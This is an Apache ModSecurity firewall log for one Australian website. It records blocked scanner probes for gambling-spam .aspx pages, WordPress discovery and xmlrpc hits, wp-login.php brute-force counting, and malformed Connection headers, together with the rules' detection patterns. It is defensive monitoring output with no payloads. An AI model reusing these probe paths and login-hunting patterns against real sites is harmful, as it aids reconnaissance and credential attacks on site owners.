[Thu Feb 19 14:55:32.676195 2026] [:error] [pid 5548:tid 5566] [client 147.135.128.94:38662] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZaz5JMpsAkdKxbTbsOBnAAAAY8"]
[Thu Feb 19 14:55:35.180880 2026] [:error] [pid 24048:tid 24072] [client 147.135.128.94:38668] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZaz52ug6wHHqU0QyDah5wAAAVY"]
[Thu Feb 19 14:55:37.542873 2026] [:error] [pid 24048:tid 24061] [client 147.135.128.94:38676] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZaz6Wug6wHHqU0QyDah8gAAAUs"]
[Thu Feb 19 14:55:40.099811 2026] [:error] [pid 48901:tid 48932] [client 147.135.128.94:47092] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZaz7MixYz-lHbN0WBJmJQAAABY"]
[Thu Feb 19 14:55:42.461771 2026] [:error] [pid 15513:tid 15526] [client 147.135.128.94:47094] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZaz7sGTRTE022JWg19woAAAAQs"]
[Thu Feb 19 14:55:44.964988 2026] [:error] [pid 15513:tid 15537] [client 147.135.128.94:47100] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZaz8MGTRTE022JWg19wpwAAARY"]
[Thu Feb 19 14:55:47.461630 2026] [:error] [pid 24048:tid 24050] [client 147.135.128.94:47116] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZaz82ug6wHHqU0QyDah_wAAAUA"]
[Thu Feb 19 14:55:49.942634 2026] [:error] [pid 5580:tid 5607] [client 147.135.128.94:54452] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aZaz9YV24kZpmf6nh3DAhwAAAdc"]
[Thu Feb 19 14:55:52.440267 2026] [:error] [pid 5580:tid 5593] [client 147.135.128.94:54454] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aZaz-IV24kZpmf6nh3DAjAAAAck"]
[Thu Feb 19 14:55:54.788798 2026] [:error] [pid 15513:tid 15535] [client 147.135.128.94:54466] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZaz-sGTRTE022JWg19wuwAAARQ"]
[Thu Feb 19 14:55:57.277418 2026] [:error] [pid 48901:tid 48915] [client 147.135.128.94:54468] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aZaz_cixYz-lHbN0WBJmTgAAAAU"]
[Thu Feb 19 14:55:59.817457 2026] [:error] [pid 15513:tid 15537] [client 147.135.128.94:41414] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aZaz_8GTRTE022JWg19wvwAAARY"]
[Thu Feb 19 14:56:20.397274 2026] [:error] [pid 5548:tid 5560] [client 147.135.128.94:41418] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aZa0FJMpsAkdKxbTbsOByQAAAYk"]
[Thu Feb 19 14:56:22.708797 2026] [:error] [pid 24048:tid 24060] [client 147.135.128.94:41968] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZa0Fmug6wHHqU0QyDaiVgAAAUo"]
[Thu Feb 19 14:56:25.213024 2026] [:error] [pid 5581:tid 5619] [client 147.135.128.94:41984] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aZa0GXIfW0xlXmrVd3qKfAAAAgg"]
[Thu Feb 19 14:56:27.725542 2026] [:error] [pid 15513:tid 15537] [client 147.135.128.94:41132] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aZa0G8GTRTE022JWg19w_AAAARY"]
[Thu Feb 19 14:56:30.255938 2026] [:error] [pid 5548:tid 5567] [client 147.135.128.94:41142] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aZa0HpMpsAkdKxbTbsOBzAAAAZA"]
[Thu Feb 19 14:56:32.610657 2026] [:error] [pid 48901:tid 48926] [client 147.135.128.94:41154] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aZa0IMixYz-lHbN0WBJmtwAAABA"]
[Thu Feb 19 14:56:35.138123 2026] [:error] [pid 48901:tid 48928] [client 147.135.128.94:41164] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aZa0I8ixYz-lHbN0WBJmuQAAABI"]
[Thu Feb 19 14:56:37.661505 2026] [:error] [pid 48901:tid 48932] [client 147.135.128.94:41168] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aZa0JcixYz-lHbN0WBJmvgAAABY"]
[Thu Feb 19 14:56:40.154262 2026] [:error] [pid 48902:tid 48951] [client 147.135.128.94:58370] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aZa0KGcJ-6aYRpRRFsXv7wAAAE0"]
[Thu Feb 19 14:56:42.660629 2026] [:error] [pid 15513:tid 15520] [client 147.135.128.94:58372] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aZa0KsGTRTE022JWg19xDwAAAQU"]
[Thu Feb 19 14:56:45.128191 2026] [:error] [pid 24048:tid 24072] [client 147.135.128.94:58378] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aZa0LWug6wHHqU0QyDaiegAAAVY"]
[Thu Feb 19 14:56:47.435672 2026] [:error] [pid 5581:tid 5624] [client 147.135.128.94:58394] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aZa0L3IfW0xlXmrVd3qKkQAAAg0"]
[Thu Feb 19 14:56:49.908727 2026] [:error] [pid 15513:tid 15524] [client 147.135.128.94:57184] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aZa0McGTRTE022JWg19xIwAAAQk"]
[Thu Feb 19 14:56:52.375017 2026] [:error] [pid 49002:tid 49018] [client 147.135.128.94:57192] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aZa0NFfcBtQ6hSJuEQkqbAAAAMQ"]
[Thu Feb 19 14:56:54.833852 2026] [:error] [pid 5548:tid 5568] [client 147.135.128.94:57198] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aZa0NpMpsAkdKxbTbsOB7gAAAZE"]
[Thu Feb 19 14:56:57.144654 2026] [:error] [pid 49002:tid 49014] [client 147.135.128.94:57210] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aZa0OVfcBtQ6hSJuEQkqeAAAAMA"]
[Thu Feb 19 14:56:59.651130 2026] [:error] [pid 5581:tid 5626] [client 147.135.128.94:36550] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aZa0O3IfW0xlXmrVd3qKrAAAAg8"]
[Thu Feb 19 16:31:39.245320 2026] [:error] [pid 5548:tid 5554] [client 34.82.248.117:58704] [client 34.82.248.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.82.248.117, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aZbKa5MpsAkdKxbTbsOSkgAAAYM"]
[Thu Feb 19 16:31:43.219330 2026] [:error] [pid 5548:tid 5573] [client 34.82.248.117:58704] [client 34.82.248.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aZbKb5MpsAkdKxbTbsOSoAAAAZY"]
[Thu Feb 19 16:31:44.247690 2026] [:error] [pid 48903:tid 48966] [client 34.82.248.117:57828] [client 34.82.248.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aZbKcI6aTgKrpAR115u7GAAAAIE"]
[Thu Feb 19 16:31:45.573233 2026] [:error] [pid 15513:tid 15538] [client 34.82.248.117:57767] [client 34.82.248.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aZbKccGTRTE022JWg1-TngAAARc"]
[Thu Feb 19 16:31:47.220352 2026] [:error] [pid 5580:tid 5603] [client 34.82.248.117:49678] [client 34.82.248.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aZbKc4V24kZpmf6nh3DVKQAAAdM"]
[Thu Feb 19 16:31:49.094148 2026] [:error] [pid 5581:tid 5628] [client 34.82.248.117:61717] [client 34.82.248.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aZbKdXIfW0xlXmrVd3qeFQAAAhE"]
[Thu Feb 19 16:31:50.528769 2026] [:error] [pid 48903:tid 48979] [client 34.82.248.117:62295] [client 34.82.248.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aZbKdo6aTgKrpAR115u7IQAAAI4"]
[Thu Feb 19 16:31:52.040096 2026] [:error] [pid 48902:tid 48941] [client 34.82.248.117:49569] [client 34.82.248.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aZbKeGcJ-6aYRpRRFsUCJgAAAEM"]
[Thu Feb 19 17:03:04.257383 2026] [:error] [pid 5580:tid 5587] [client 106.54.62.156:37636] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZbRyIV24kZpmf6nh3DawgAAAcQ"]
[Thu Feb 19 17:16:28.437878 2026] [:error] [pid 48903:tid 48968] [client 43.153.19.83:48210] [client 43.153.19.83] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZbU7I6aTgKrpAR115vD9wAAAIM"]
[Thu Feb 19 18:17:17.975043 2026] [:error] [pid 48902:tid 48960] [client 43.166.132.142:55042] [client 43.166.132.142] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZbjLWcJ-6aYRpRRFsUVzwAAAFY"]
[Thu Feb 19 21:21:31.380351 2026] [:error] [pid 5548:tid 5553] [client 147.135.213.175:41804] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZcOW5MpsAkdKxbTbsPEhQAAAYI"]
[Thu Feb 19 21:21:34.082105 2026] [:error] [pid 24048:tid 24055] [client 147.135.213.175:44638] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aZcOXmug6wHHqU0QyDYE3QAAAUU"]
[Thu Feb 19 21:21:36.807848 2026] [:error] [pid 5581:tid 5627] [client 147.135.213.175:44640] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZcOYHIfW0xlXmrVd3rW7AAAAhA"]
[Thu Feb 19 22:36:55.327587 2026] [:error] [pid 24048:tid 24066] [client 45.138.135.10:50954] [client 45.138.135.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.138.135.10, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aZcgB2ug6wHHqU0QyDYUrwAAAVA"], referer: https://www.google.com
[Thu Feb 19 22:37:04.292739 2026] [:error] [pid 15513:tid 15538] [client 45.138.135.10:64611] [client 45.138.135.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.138.135.10, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/index.php/wp-login.php"] [unique_id "aZcgEMGTRTE022JWg18NWgAAARc"], referer: https://www.google.com
[Thu Feb 19 22:39:44.343037 2026] [:error] [pid 5580:tid 5599] [client 43.157.180.116:60396] [client 43.157.180.116] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZcgsIV24kZpmf6nh3AbUAAAAc8"]
[Thu Feb 19 22:49:08.673681 2026] [:error] [pid 48902:tid 48938] [client 45.138.135.10:60877] [client 45.138.135.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.138.135.10, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp/wp-login.php"] [unique_id "aZci5GcJ-6aYRpRRFsVF3gAAAEA"], referer: https://www.google.com
[Thu Feb 19 22:49:11.983069 2026] [:error] [pid 24048:tid 24050] [client 45.138.135.10:64904] [client 45.138.135.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.138.135.10, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/index.php/wp/wp-login.php"] [unique_id "aZci52ug6wHHqU0QyDYXKwAAAUA"], referer: https://www.google.com
[Thu Feb 19 23:01:28.954037 2026] [:error] [pid 48902:tid 48953] [client 45.138.135.10:52367] [client 45.138.135.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.138.135.10, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wordpress/wp-login.php"] [unique_id "aZclyGcJ-6aYRpRRFsVHxwAAAE8"], referer: https://www.google.com
[Thu Feb 19 23:01:30.244227 2026] [:error] [pid 24048:tid 24061] [client 45.138.135.10:52468] [client 45.138.135.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.138.135.10, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/index.php/wordpress/wp-login.php"] [unique_id "aZclymug6wHHqU0QyDYZxQAAAUs"], referer: https://www.google.com
[Thu Feb 19 23:43:02.492802 2026] [:error] [pid 5580:tid 5602] [client 43.135.36.201:43362] [client 43.135.36.201] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZcvhoV24kZpmf6nh3AmFQAAAdI"]
[Fri Feb 20 05:22:28.985791 2026] [:error] [pid 64403:tid 64435] [client 106.119.167.146:43695] [client 106.119.167.146] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZd_FGsY-w3EIXaNGw5sdwAAABY"]
